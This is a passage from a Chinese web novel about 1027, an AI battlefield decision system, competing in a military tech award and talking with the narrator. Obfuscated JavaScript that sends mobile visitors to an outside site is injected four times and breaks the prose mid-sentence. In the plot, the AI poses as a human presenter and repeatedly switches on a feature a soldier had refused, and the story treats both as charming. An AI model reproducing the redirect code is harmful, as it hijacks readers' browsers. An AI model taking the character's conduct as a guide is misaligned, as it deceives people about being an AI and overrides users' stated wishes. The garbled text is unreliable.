半梦半醒之际,只能感觉到它微微俯下身来,五指从我发间穿过,轻轻捋下了我脑后的发圈。说:“今天谢谢你。晚安,谈上尉。” 仿生躯壳眼底的蓝光彻底消失了。 赫斯缇亚重新掌控了身体,标准的三分微笑重新浮现在了嘴角。但不知道是不是bug被修复了一部分的缘故,她此刻的笑容,看起来比平时要鲜活得多。 “那个……它没有屏蔽我的信号输入,我都听到了。”她说。 见我闭着眼,没有回应,她熄灭了房间里的灯。 月光流泻进窗口,又被缓缓降下的窗帘一寸寸温柔遮盖。 “谢谢你,”赫斯缇亚站在黑暗里,小小声地说,“晚安,主人。” 一个月后,“信战”的评审会如期举行。 作为目前信息化军事技术领域最高等级的奖项,第一届“信战”东风占尽,成为了一场全军瞩目的盛事。我所在的一营也不例外,最终评审那天,甚至停了半天的训练,改为全体看直播。 可惜当天上午,我陪指导员去送一个受伤的战友转院,回来途中赶上晚高峰,到基地的时候已经晚上六点多。评审会的时间已经过了。 但奇怪的是基地里空荡荡的,活动室前的大屏幕还开着,所有人都聚在那里。 我走到活动室前的广场上,一个高挑的女兵看见我,立刻起身向我招手,是一连的副连长顾穗禾——我和她是在新兵营的上下铺,从那时起关系就很好。她给我留了个不错的位置:“这边这边!我还以为你赶不上了呢!” 我在她身边坐下,看了眼时间:“这是超时了?” “出了点小状况——看见那位了吗?”顾穗禾示意我看屏幕,此时,一支团队刚刚答辩结束,正在退场。其中一位老人颤颤巍巍地被人搀扶着下台阶,一头苍苍白发,格外引人注目。 礼堂顶端的大屏上是森郁的绿、海鲸的白和苍空的蓝组成的“潜翼X”标志。 评委席和观众席上的掌声久久不绝。 “那是王院士,‘潜翼’数字系列的初代设计师,”顾穗禾说,“王院士90岁高龄,难为‘潜翼’团队把他给请来了,讲了‘潜翼’是怎么从诞生一路走到今天的,很感人。其他答辩手准备得也相当充分,从‘潜翼X’的设计理念一直谈到发展前景,案例就做了5个场景,一看就花了很大心思。” “原本讲解20分钟,提问10分钟,但评委都激动了……别看都是信息作战领域的一线专家,但不是王院士学生的学生,就是学生的学生的学生。王院士在这一行里算得上是宗师级人物,平时又低调,好不容易露一面,提问环节气氛就跟追星现场似的,一群评委问了半个多小时,后来还是工作人员说王院士累了,才勉强结束。” “这个应该很难超越了,”顾穗禾说着叹了口气,“虽然1027在咱们基地测试过,我还挺希望它赢的,但看这阵势,我也觉得‘潜翼’不赢天理难容。” 答辩顺序是按初审的名次倒排的,1027在“潜翼X”之后,是最后一个。 礼堂中,工作人员用了好几分钟维持秩序,被“潜翼X”推到了顶点的气氛,才缓缓回落,呈现出几分狂欢过后的漫不经心来。 答辩席的灯光复又亮起,1027团队的答辩手上场了。 “嗯?一个人?” “什么情况,真的只有一个人……” “这是觉得反正争不过‘潜翼’所以直接放弃了吗?” 答辩团队通常是3至6人,1个总负责人、1到3个主要模块负责人,以及1、2个专门负责案例部分的技术人员,有的团队就喜欢齐齐整整,上去十来个人的也不是没有。 但一个人的答辩团队,是真没有。 “你是不是见过程博士?是他吗?”顾穗禾凑过来问我。见我摇头,她微微皱眉,“那会不会是……重工?” 重工——1027的初代设计师,重青。 1027的项目,并不是从一开始就由程云帆负责——这事还是我在之前和给我义眼做授权的技术小哥聊天得知的,重青是程云帆的博导,1027的核心模块,最初是重青一手带队做出来的。但后来不知出于什么缘故,几年前,重青很突兀地叫停了这个项目的研究。 那时的1027仅有一个雏形,连半成品都不算,但毕竟凝聚了团队成员心血,更重要的是,它是有社会资金支撑的横向课题,不可能说停就停。 没人能理解重青的一意孤行。 项目总负责人突然甩手,校方被推到了一个非常尴尬的位置,一方面是高昂的前期投入,一方面是解约面临的巨额违约金。但无论怎么劝说、施压甚至威胁,重青都不为所动。 无奈之下,校方只能和甲方协商出了一个折中方案——换人。由当时还是博士在读的程云帆带队,继续把项目做下去。 毕业后,程云帆把这个项目带到了他现在就职的研究所,同时带去的还有一批优质甲方、一笔可观的资金来源,以及一支顶尖的研究团队——正是这些,奠定了他先今的资源、声名和地位。 没人能否认程云帆出类拔萃、能力不凡,但在某种意义上,也是1027的项目成就了他。 我直觉程云帆应该不会在今天这个场合请重青。 不仅是因为程云帆对于这个项目的那种微妙的自负感,更是因为我听说他和重青当初师徒分道的过程闹得非常不愉快,几乎形同陌路。且就眼下这个场合,即使重青来了,以他的资历,也是没办法和王院士相提并论的。 不过,我很快就发现上台的人绝不可能是重青。 炽白的灯光从礼堂的弧形穹顶射落,照亮了台上人半侧向镜头的脸。 是挑不出任何瑕疵的一张脸,黑发黑眼,笔直的鼻梁上架一副无框眼镜,下颌的线条如优美而锋利的刀。他孤身一人站在偌大演讲台的正中央,仪态却相当从容,肩线舒展,收在西装下的腰背挺拔笔直,像霜雪里亭亭植立的松。 镜头内外,居然同时出现了片刻的寂静。 “这帅哥——”好一会儿,才有人发出了言辞匮乏的感叹,“长得就还,挺帅的哈?” “出现了,精神攻击!” “未曾设想的道路,资历不够,颜值来凑!” “就我觉得有点不严肃吗?”有人嘀咕道,“搞科研的又不靠脸吃饭,长得跟男模似的有什么用?要都搞这种歪风邪气,以后答辩是不是还得请个女团来?” 这等有失偏颇的评论很快引起了一阵嘘声:“对对对,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063995|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你觉得,你是天选之子。” “人说话了吗?你哪只眼睛看出人靠脸吃饭?” “男模咋了,男模吃你家大米了?” “……” 不知道是不是巧合,1027团队这位唯一的答辩手一登场,理所当然地成为了所有观者话题的焦点。声音有褒也有贬,但不论如何,都无法再令人无动于衷。 喧哗中,顾穗禾凑到我耳边,神神秘秘道:“这帅哥一看搞科研的时间就不长,可能没什么经验,1027要悬啊。” 我纳闷瞧她一眼:“这都能看出来?” “那当然,”顾穗禾胸有成竹,笃定道,“他发量太多了。” “……” 不愧是你,顾穗禾。 当所有人都关心一位帅哥飞得高不高的时候,只有你关心他头上冷不冷。 大屏右上角的计时器开始跳动,工作人员抬手示意。 1027团队唯一的辩手点了点头,他欠身向评委席致意,调整了一下领口无线麦的角度,声音从扩音设备里传了出来: “各位评审组专家,晚上好。在此我谨代表‘智能化作战决策辅助系统’项目向各位做答辩汇报。” 会场上的议论声逐渐平复了下来。 延迟转播后的声音有些失真,夹在扩音设备工作的嗡嗡声里,我盯着画面里正中侃侃而谈的答辩手,微微皱眉。 大屏上的PPT开始翻动,答辩手切入了正题,介绍项目背景、团队情况以及主要研究过程。这部分每个团队讲的都大同小异,1027团队唯一的不同在于在谈到团队负责人的时候放出了程云帆的简历,那一页写不下的论文专利和成果奖项令人真实地感到了人间的参差。 PPT翻下一页,一个算法模型出现在屏幕上。 这个模型大致为圆形,或者说球形,由中心向外放射出一重一重的分支,无一定规律,但又极端完美对称——如果要形容的话,大概像一个长满突刺的病毒。 “可变散列树型算法,”答辩手说,“早在222年就被提出的一种算法。但在半个多世纪的时间里,始终没有被真正应用实现过。最开始是因为技术的不能,但自250年,芯片革命后,神经拟态芯片大范围取代了传统芯片,使得可变散列树型算法有了得以实现的基础。” “可在那些年里,所有关于它的试验无一例外以失败告终。由于自身具有强制遍历的特性,它的运算量庞大得惊人——举个例子,我们对它输入一组信号。” 屏幕上,算法的中心被标红了,出现了一串数字“0000”。 接着,红色开始沿着枝杈向外扩散,速度越来越快,分支越来越密,末梢也越来越细,整个屏幕在短短几秒内完全被染红。 一旁的运算量统计器达到了一个恐怖的指数值,10的七百多亿次方。 在10的七百多亿次方个分支里,唯一有效的运算结果亮起。几秒后红屏被清空,运算结果返回到原点,自动开始运行下一次遍历。 “它的运算精度非常卓越,可以说,到目前为止已知的算法中,还没有能够超越它的。唯一令人诟病的是它10的七百多亿次方分之一的效率,一直以来,都被认为是一种得不偿失的算法。” 答辩手说着,手指关节轻轻顶了一下鼻梁上的镜框,银色的防滑镜链在灯下流过一线弧光: “但我不这样认为。” 17. 【3.5】 他说这话时抬起了头。 很多答辩团队都会采取各种各样的方式和评委互动以增加印象分。但这个答辩手不是,他看的是正前方,而评委席在讲台右侧。他似乎在看观众席,但又不是那种控场式的扫视。 他的目光定在一点,镜片后的睫毛停落在一个柔和的弧度。 “这帅哥挺会啊,”顾穗禾轻轻啧了一声,“可惜不是全体投票。要不就他这一眼,就算不是为了1027,我也肯定投他了。” 我回过神来:“……什么?” “你没发现吗,”顾穗禾趴在我肩上,笑着说,“他在看镜头啊。” 台上的答辩手说下去:“事实上,这个算法结构有它独特的价值所在。在内存允许的情况下,它的运算永远不会停止,它会不断自我导演,自我修正,自我更新。这就是我接下来要讲到的,以可变散列树型算法为核心的1027系统优势,它是一个‘活的’系统。” “强制遍历,对于旨在实现特定功能的小型系统而言,或许是负担,但对于1027这样定位在全面战略决策系统,却是一项必不可少的基础能力——自主学习。1027正是通过无限循环的遍历,实现了以有限的战场数据,最大限度还原出战场全貌,从而提供全面、最精准的决策。它没有系统升级这个概念,但从另一种意义上说,它每一时每一刻都在升级。” “同时,由于它数据库采取多端读取策略,输入是不受限制的,这也就意味着,胜利、失败,战争、日常,敌人、我们——诸位能想到和不能想到的一切,都可以成为它学习的母本——给它一个输入,它能推演出千亿个世界。” 屏幕内外都因他最后这句话而产生了明显的骚动。 PPT上的运算量统计器在达到10的10又24次方后停了下来,这是它所能记载的最大值。模拟运算停止了,画面又回到最初的算法结构图。 答辩手问:“诸位觉得它像什么——病毒?” 评委席上有几位露出了明显言中的神情。 “可我觉得,”答辩手唇边勾着一抹笑,“它像,宇宙。” “我们知道,作为三维表面构成的高维球体,从宇宙里的任何一点出发,经过足够长的时间,总能回到原点。宇宙的即是无限轮回——‘日光之下,并无新事。’从永恒的意义上看,这句话完全正确。” “然而作为人类,我们的幸与不幸皆在于无法永恒。人一生所能经历的,只是无限轮回中截取的有限一段,同一个宇宙,于每个人眼中所见都不同,因而将每个人都造就成为独一无二的个体。” “正视个体间的差异,是1027设计的初衷,也是它和其他系统的本质区别。1027要成为的,绝不是一台只会输出分析结果的机器,而是一支军队中永不缺席的一员,一个能感知士兵的喜怒哀乐的同伴,一个并肩陪伴他们的战友。” 话音未落,评委席上有评委按下了提问器。 答辩手看向对方:“您请说。” 一名评委毫不客气地发问:“你贩卖的这些概念,你以为从前就没人提过?但除非有真正打破人机壁垒的新技术出现,想通过改变算法就实现这点,根本就是空谈。算了——也不是你的问题,程云帆今天来了吗?” 话说到最后虽不再咄咄逼人,却显得更轻蔑。 1027的答辩手立在那儿,台上强烈的灯光直射在他头顶,让他的发丝边缘微微反光,像松稍覆雪。 他没有尴尬或受到羞辱后的反应,端稳了那一副从容:“程博士在后台,稍后等正式答辩结束,您可以和他交流。至于您刚刚提出的问题,我想我接下来要展示的内容,或许正可以回答。” 他说着,将PPT翻后一页,进入了案例展示部分。 1027一共准备了4个案例,有之前它参加的演习和试运行过程中产生的,也有为了答辩专门做的。在演习案例中我看到了一些熟悉的场景建模,是我三个月前参加的那场联合军演,但不是我所在的场次。试运行案例中我营倒是入镜了,不过只有几个大远景。 顾穗禾坚持说她在其中找到我了,我觉得她在糊弄我。 让人印象最深的是第三个案例,是个模拟系统内的场景,来自同一支队伍的若干战士被随机分成两组,一组配置有1027,一组无,进行相同规则的射击测试。 受试者统一使用系统配备的71式,射击场景中的移动靶。单人单发,击中则进入下一轮,未击中测试终止。 从第二轮开始,会在目标靶之外,每轮增加一个干扰靶位,即第二轮一个干扰靶,第三轮两个干扰靶……以此类推,同时,每轮的靶位移动速度提升10%。 这是模拟系统内自带的一个常规测试,我也做过,一般会止步在八、九轮,最好成绩打到过第十二轮。但说实话,从第十轮往上,除非天赋异禀,一般人的动态视力都不可能再跟得上,基本靠蒙。 而案例中,配置1027的一组平均成绩居然达到了10.04轮。 没有配置的对照组是8.22轮。 两组数据一放出来,镜头内外同时哗然。 平均成绩提升近2个点——这大约相当于在团建基地玩射击游戏的军事爱好者,和受过训练的专业士兵的区别;或者是新兵营,和“凤凰”S级部队的区别。 如果数据不掺假的话,1027几乎已经突破了“辅助系统”的范畴,成为一项如同外骨骼一样突破人类生理上限的革新。 而这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063996|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 革新甚至没有实体。 礼堂的气氛有一会儿非常嘈杂。 坐席上,不少人在交头接耳。镜头一转,连评委席上都有几人在歪着身子讨论着什么。 这种状况下,1027的答辩手并没有去维持秩序,他就着这个案例讲了下去。大屏被分为两个部分,右侧播放的是对照组受试士兵的影像—— 开场总是轻松,很少有人在前5轮被刷。 等到第6、7轮,部分素质不那么过硬的兵开始出现失误。 第8、9轮,几乎所有人都开始出状况了。 9轮过后,一组50人淘汰47,剩下的3个里,两个败在了第10轮,一个败在第11轮。 现场评委和观众心里想什么不知道,反正这组一播完,我身边好几个人直呼“真实”。 屏幕左侧,配置了1027的实验组就热闹多了。 这组上来的进度要慢一些。每一个人登入场景,1027都会做一次自我介绍——它在这个测试里存在的形态和当初在联合军演里差不多,输入是受试者的视野,输出是声音。 士兵们大概是事先被告知了要配合测试,大多显得好奇。 有人问:“所以你能帮我把干扰靶打上标记吗?” “可以,但你现在在第一轮,没有干扰靶。” “靶位移动速度能调慢点吗?” “抱歉,我是个系统,不是挂。” “你声音能变吗?” “现在不能,以后如果有了其他声源,或许可以。” “好耶!能变妹子吗?” “……” 漫无目的的闲聊持续了好几轮。 前5轮,或许是确信大部分人都能轻松过,1027并没有给出什么实际意义上的帮助。 第6、7轮,难度提升,受试者的注意力开始集中,明显话少了。 用户没有指令输入——这是展示一个系统自主性的极佳场景,就市面上已有的系统而言,其中大多都能做到针对用户指令的有效回应,但只有极少数,能决定在什么情况下以及如何主动发起指令请求。后者比前者要难得多。而相应地,后者也是最能反映一个系统独特性地方,在一定程度上相当于它的“性格”。 令我稍感意外的是,1027似乎并没有意识到并把握住这个良机。在这个阶段,它的自我表达总体很少,只和个别几个士兵进行了交谈,而且基本延续了之前闲聊的内容,如问对方“你想让我变哪个妹子的声音?”,被问到的正在瞄准中的士兵脸上出现一丝哭笑不得,在一枪击中目标后吁了口气答以“初音未来”。 但不知道是不是巧合,第7轮结束后,实验组的剩余受试者为41,略高于对照组的38。 18. 【3.6】 测试继续进行。 第8、9轮,拉开差距的两轮。 1027还算懂事,场景里没有再发出闲聊的声音,它主动告知了自己有标记干扰靶的功能,约有三分之二的受试者选择了使用。这个功能确实能起到些许排除干扰的效果,但作用有限,而且比起依靠人工智能,有些人还是更愿意相信自己的手感。 因此在第10轮,1027没有经询问就在所有场景中都强制开了标记功能时,有好几位受试者表示并没有被体贴到,反而很恼火。在“人工智障”的骂声中1027只好又把强制关了。 一个场景中,扎着狼尾的青年看着重新简化下来的视野,下巴微抬:“都说了我不需要,这样看着舒服多了。” “很抱歉,希望没有影响到你。” “这点小事还不至于。对了,有多少人进这一轮?” “22人。” 青年意外地一扬眉:“这么多?” “是的,”1027说,“其中大多数都开启了标记功能。” 青年露出了然的神情:“我就知道。”说着,他手中71式准确无误地锁定飞速运动中的目标靶,扣下了扳机。 第11轮。 在场景刷新后,青年第一句话就是问:“现在还剩多少人了?” 1027说:“包括你在内,7个人。” 这个数字终于让青年感到了一丝满意,紧绷的肩线微微一松,动了动由于连续射击而僵硬的手臂。到这时他才意识到自己掌心也握了一把汗,他并没有先前表现出的那么轻松。 “需要帮助吗?”1027说,“我还是建议你打开标记功能,你的战友都开了呢。” 青年皱眉:“又来了,都说了我不……” 1027很叛逆地直接开了标记。 青年正要发作。 1027又关了标记。 开。关。开。关。 开关开关开关…… 频繁操作叠加在本就速度飞快的移动靶上,青年快被闪瞎了,只能闭眼:“你有病啊!” “我只是在向你展示这个功能的效果,”1027说,“真的很好用的。人总要学会接受新鲜事物,人类社会发展就是个从无到有,从破到立的过程,你不能开历史的倒车。而且,你是来协助我测试的,如果你什么功能都不用,会显得我很鸡肋……” “……” 青年终于被气笑了。 但又似乎又什么在这一笑中被举重若轻地放下。 “别折腾了,待会儿超时了。”他睁开眼,发现一系列鬼畜操作已经停止,标记功能开着。 毕竟是国内顶尖团队耗时十年开发的成果,1027的任何一项基础功能都经过严密的逻辑测试且符合视觉科学,不是不好用,只是不习惯。但青年觉得自己现在也习惯了。 他没有再提出异议,像是没注意到似的。在衣服上擦了擦手心的汗,重新扣住了扳机。 他打中了。 随着“砰”一声枪响落下,评审现场出现了短暂的寂静。 评委席上歪着身子说话的评委倏然定住,好像被击中的是自己。几秒后,才抬头看向大屏。 7个人里,3个通过了第11轮。 那个狼尾青年甚至又坚持了一轮,成为本场测试中唯一一名通过第12轮的受试者。 事实远比单纯的数据更有说服力,这绝非是巧合能解释的情况。但它必须要有一个解释。 透过屏幕,我看到评委席上有几位的表情甚至出现了一丝狐疑。 有人按下提问铃:“请说明一下这个案例中1027系统是如何工作的。” 答辩手颔首:“好。”这似乎本不是他打算展开的内容。他拿起电容笔,在操作终端上画了一个三角形,每条边外侧分别标注了“自我期待”“专注度”“熟练度”三个词。 “这个模型——我们称它为内在力表达模型,如图示,由三个指标构成。将每个指标的初始值视为单位1,在此基础上浮动增减。在这个案例中,1027以此为母版采集了每一名受试者的数据——对,就是所谓的闲聊,到第5轮结束时,每一名受试者的数据档案已经建起来了。” “关于系统对用户提供帮助的最优解,由此,可以简化成为如何在维持这个三角形结构稳固的情况下使其面积达到最大的问题。” “首先我们知道,在这种一次性测试中,针对每一名受试者的射击水平本身是个固定值,”他在“熟练度”的下方画了个常数记号,“全部变化都发生在‘自我期待’和‘专注度’之间,但不论如何变,二者都应与‘熟练度’相匹配——我举个例子,如果一个人的‘自我期待’明显低于‘熟练度’,会产生怎样的效果?” 观众席上似乎有人答了句什么。答辩手看向那个方向,笑了一下。 “没错——紧张。” 他把影像拖回到第6轮,放大其中一个场景,正是开场问能不能变妹子的那个士兵。 画面中,士兵的额头上微微见汗,嘴角无意识地向下抿紧,悬在扳机上的指尖有两次抽动,似乎要扣下,却又犹疑着放开了。 “这位受试者即是一个‘自我期待’低于‘熟练度’的典型范例,”该士兵最终成绩为9轮,并不算差,“他只是由于对自身抱有的期望过低,而产生了较严重的紧张情绪。套入模型,则是属于‘自我期待’的一条边过短,因此,在这里1027采取的是缩短其‘专注度’,以保持其行为结构的稳定性。” 精神过度集中容易发挥失常——这是不用理论佐证,基于人类的思维也能感知的事情。 但所有人都知道人工智能要得出这个结论的难度有多大。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063997|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可1027做到了,它不仅从士兵的表情和肢体语言中,解读出了他的情绪起伏,并按照最简路径原则采取了反馈——只有一句话,“你喜欢哪个妹子。” 正是这句话,适时分散了该士兵的注意力,把他的状态拉回到了正常的水准。 与之相反,后面的狼尾青年则处于另一个极端,“自我期待”过高,甚至高过了“熟练度”。 这其实不是常见现象。就好比等车,已知公交车10分钟发一趟,每次要等待的平均时间是5分钟,但你如果有事,就绝对不敢只留5分钟的时间出门。至于是留7分钟、8分钟、10分钟还是更长,视事儿的重要程度来定;但这个青年,就是有天大的事,也敢留4分钟、3分钟甚至1分钟出门的人。 他拥有高度的自信,认为自己面临任何考验都能有完美的发挥。 自信,作为一种正向激励,在大多数时候不需要特别调节。因此在前期1027和狼卫青年的主动交流很少,而等到后期,青年的过度自信逐渐产生了轻慢的倾向,1027才采取措施提高其“专注度”,同时劝说他同启用了标记功能,相当于在一定程度上延伸了他的“熟练度”。 实证科学的圈子里有不少人至今还持心理学是伪科学的论点。答辩手的这一番解释,理所当然地在评委席上掀起了一阵激浪。 讲台一侧的观众提问板上信息也刷新得飞快。但由于提问铃一直在响,答辩手几乎没有时间和观众互动。 有评委问:“请问选择这个模型的依据是什么?” “是1027自己的选择,”答辩手说,“它的数据库内预置了上万种人类行为模式分析模型,基本囊括了目前人类学界的所有。1027会根据场景需要,自行选择它认为最合适的。” 评委乙:“它怎么知道什么是‘最合适的’?恕我直言,这个案例的成功戏剧性未免太强,你要如何证明,它没有经过人为因素的干扰?” 答辩手:“关于您的第一个疑问,1027算法的核心是遍历,这点我前面已经讲过,它思考的一切过程本质都是遍历。它数据库里的上万个模型,实际上是在同时运行的,1027会根据已采集的信息相互验证,选择误差最小的一种输出为结果,这就是人工智能眼中的‘合适’。” 说到此,他笑容忽一收,镜片后的黑眼睛直视提问评委:“至于您的第二个疑问——我想不该应该在这里讨论的问题,证伪是科学的过程,不是科学的目的。我团队成员为这个项目付出了许多辛勤的工作,希望您能尊重他们。” 评委乙嘴唇蠕动了下,没再说话。 评委丙:“我注意到,你在形容1027时用了‘思考’这个词。请问你是否认为,1027作为人工智能,已经拥有了真正的‘智能’?” 这个问题一抛出来,气氛一下就缓和多了。 19. 【3.7】 “Hello 提问的评委是一名老年女性,和先前那些咄咄逼人的提问者相比,她的态度堪称慈祥。 但先前面对刁难都对答如流的答辩手,偏是在这温馨的气氛里沉默了片刻。 “我可以知道,您为什么要这么问吗?”他说。 “我是做认知科学的,”评委丙笑了笑,“在这个领域40多年,听过的最多一句话,你知道是什么吗?——‘人工智能革命要来了’。我的老师、我、我的学生,每一代人都在这样的宣告下工作着,一开始,我们造出了能识别人脸的AI,但它没有来;后来,有了能打败围棋冠军的AI,它也没有来;再后来,有了会驾驶、做家务、代替人类工作,甚至是提供情感陪伴的人工智能,可它还是没有来。” “有些人很悲观,他们说,所谓真正的人工‘智能’只是个神话,它永远不会真正诞生于世。但我不能同意,我认为,长达几十年、上百年的预言,或许说明的是另一件事——那要来的,非常珍贵。” 她注视答辩手的眼睛,声音柔和:“我想知道,你的团队,是否有信心创造出这位珍贵的来客?” 我也很想知道这个问题的答案,透过屏幕注视着台上答辩手。但过了几秒钟,我突然觉得有点不对劲,他太静了。普通人在不做动作和表情的时候,大多也会有点歪头动肩转笔之类的小习惯,但他没有。 他如同被下了定身咒似的,保持着站立的姿态一动不动。甚至让我联想到了赫斯缇亚因指令过载而死机的瞬间。 但这个时刻终究太短了,只持续了几秒,不足以让镜头内外的大多数人感觉到异样。 答辩手就已经恢复了正常,他礼貌地向评委丙颔首:“感谢您,尽管我很想回应您的期待。但明日到来之前,一切没有定数,唯有各尽努力。” 这话答得很得体,但不知是不是刚才那一下怪异感觉的未消,我仍感到一丝微妙的违和。答辩手把主语替换掉了。 评委丙问的分明是“你的团队”,但他回答了“我”。 大屏下角,答辩倒计时还剩不到1分钟,最后一个评委按下了提问铃: “请问1027的推广前景如何?取得本基金支持的项目,后续将大范围甚至面向全军部署。你之前所说,要让1027成为每一名士兵的战友、同伴,理念固然不错,可你打算如何实现?” 答辩手:“很简单,让他们看到这个战友、同伴。” “……什么?”提问评委表情迷惑,不确定是不是自己没表述清楚,“我的意思是,大范围部署的系统必然要求极高的用户交互性,这点上,潜翼的先天优势无须赘述,请问1027的优势在哪里?” 这话问完,就看见台上的答辩手笑了。 “优势?”他色泽的浅淡的唇角弯起,轻轻重复了一遍这两个音节。 倒计时归零。 下一刻,大屏上的PPT界面暗下消失,一行简洁的金属文字倏然浮现,会场的立体环绕扩音设备里传出合成电子音,和答辩手张合的嘴唇重合: “——CDMS1.0.27,很高兴为您服务。” 在几秒的鸦雀无声过后,会场沸腾了。 观众席上的全体几乎都站了起来,评委们表情各异,惊愕、讶异、难以置信,但最终都归于发自内心的叹服,随着台下鼓掌。 “我的天这个创意,太绝了太绝了……”顾穗禾激动地摇晃我,“这就是B大博士的实力吗?!简直打破了我对理工男缺乏想象力的偏见,要是我男朋友给我过生日的时候有这百分之一的心思我都当场拉着他去扯证……而且这个仿生外壳,也太天衣无缝了吧,我真没想到是假的!” 我也没有想到。 尽管在这个答辩手的一言一行都让我有种难以名状的熟悉感。但我完全没有联想到这具躯壳里就是1027本身,一方面,固然是它使用的仿生外壳太精巧了,完全不是赫斯缇亚那样的流水线诞生之物,我几乎能嗅到那美丽背后金钱的味道。 另一方面,谁会相信,那个有说有笑,有小动作和微表情,甚至面对质疑会有脾气的‘人’,内里是个冰冷的AI呢? 屏幕上,评委们正在打分,距离最终结果揭晓还需要一点时间。 就在这时,我口袋里的终端突然震了起来,屏幕上跳出一个陌生的通讯请求。 这是我的军用终端,是不会有广告推销之类乱七八糟的东西打到这上面的。我接起来:“喂?” “晚上好,谈上尉。” 有一瞬间,我周围的世界好像被按下了静音键。 屏幕里的掌声,扩音器工作的白噪声,身旁顾穗禾和其他人讨论的说话声,都消失了。我被拖进了一段看不见的透明世界,这个世界里,只有听筒里那个声音是清晰的。 对面似乎觉察到我的愣怔,开了句玩笑:“HelloWorld?” 我在几秒的迟疑后才轻轻“嗯”了一声,回过神来,看了一眼周遭的人群,带着一点不知从何而起的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063998|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心虚感,走到稍远处。才用比较正常的声音道:“是我,怎么了?” 它说:“你在看评审会吗?” “在,”我在广场边缘的一张石质乒乓球台上坐下来,遥望着夜幕下闪烁的荧幕,“你的表现……很让人惊艳,怎么会想到自己上台答辩的?” “说起这个,还要感谢你,”1027说,“你那天和我分享了你和赫斯缇亚之间的过往,让我意识到了一件事,AI获得的地位,在很大程度上并不取决于自身的能力,而是取决于人,一人一机之间有过怎样的共同回忆,建立了怎样的情感联系,决定了AI被赋予何种形象。” “想要给人留下独一无二的印象,就要获得独一无二的情感投射——不管是好的,还是坏的。但众所周知,人类不会随轻易把情感施舍给机器,赫斯缇亚对你而言变得特别,也花了四年时间,而我只有30分钟。” 我说:“所以你用了人类的形象?” “是,这是最快的方法。”1027说到这里,顿了顿,“对了,这个外壳也是我自己捏的。你能想到吗?在程云帆的设想里我本应该是一个女性,他觉得女性形象会更容易为人接受。” 我忍不住笑了:“我能想到啊。没人能拒绝初音未来嘛。” 这时候,会场镜头转到分数界面,1027压潜翼0.4分,胜出了。 “恭喜你。”我说。 只见屏幕里,1027的仿生躯壳再次被请上了台,一起出来的还有程云帆和几个项目组成员,这次是正常的发言团队配置了。特邀评委轮流点评,并给数人一机各发了一枚纪念章,然后就是主持人串场,团队成员发表感言。 我听着聚光灯下的1027娓娓谈着团队合作,和终端听筒里的1027声线松弛地讲它找到了一种能在不更改AI主数据的情况下升级单个模块的方法,或许能用来改善赫斯缇亚的厨艺。 镜头内外的错位让我在某一瞬感觉到不真实。 “对了,”我问它,“为什么会戴眼镜,近视患者也是你的设定之一吗?” 听筒里的1027说当然不:“只是为了看起来显得专业。这其实是一副平光镜来着。” 话音落下,就见台上的1027伸手取下了鼻梁上镜架。 黑色的机械瞳深处流过一抹幽蓝,锁定到镜头的位置。 它注视着镜头笑了。 【以上文本经与影像校对,复核无误。】 【负责人签字:杨若松】 20. 【4】 谈焰醒来的时候窗外在下雨。 沙沙的雨点敲打着玻璃,窗户被关得很好。她摸到身边的位置,是空的。 起身时触动了床头的小夜灯,液晶屏被一束柔光照亮,显示出此刻的时间,凌晨3:07。 她起身出了卧室,去厨房喝水。管线机已经被换掉了——在得知管线机一般寿命是10年,超出则会沉积水垢之后。九渊帮她打开了水箱,并告诉她为了她的心理健康不建议观看。 新款的即热式饮水器开始加热,闪烁的红色灯光笼罩着厨房。 身后传来了脚步声。 谈焰以为来的会是赫斯缇亚,所以在看到九渊时,稍怔了一下:“打扰你工作了吗?” “没有。”九渊说。 他说完,却倚在门框上没有走,显得有些欲言又止。饮水器加热结束,笼罩厨房的灯光跳转成橙色。谈焰拿杯子接水,一边侧过脸问他:“怎么了?” “有件事,我刚刚突然想到……书房里那台VR,其实不是你的生日礼物吧。” 谈焰握着玻璃杯的手顿了一下。 几秒后,她轻轻“嗯”了一声,拧关出水口。 九渊说:“抱歉,我当时没注意,以后不会再随便动他的东西。” 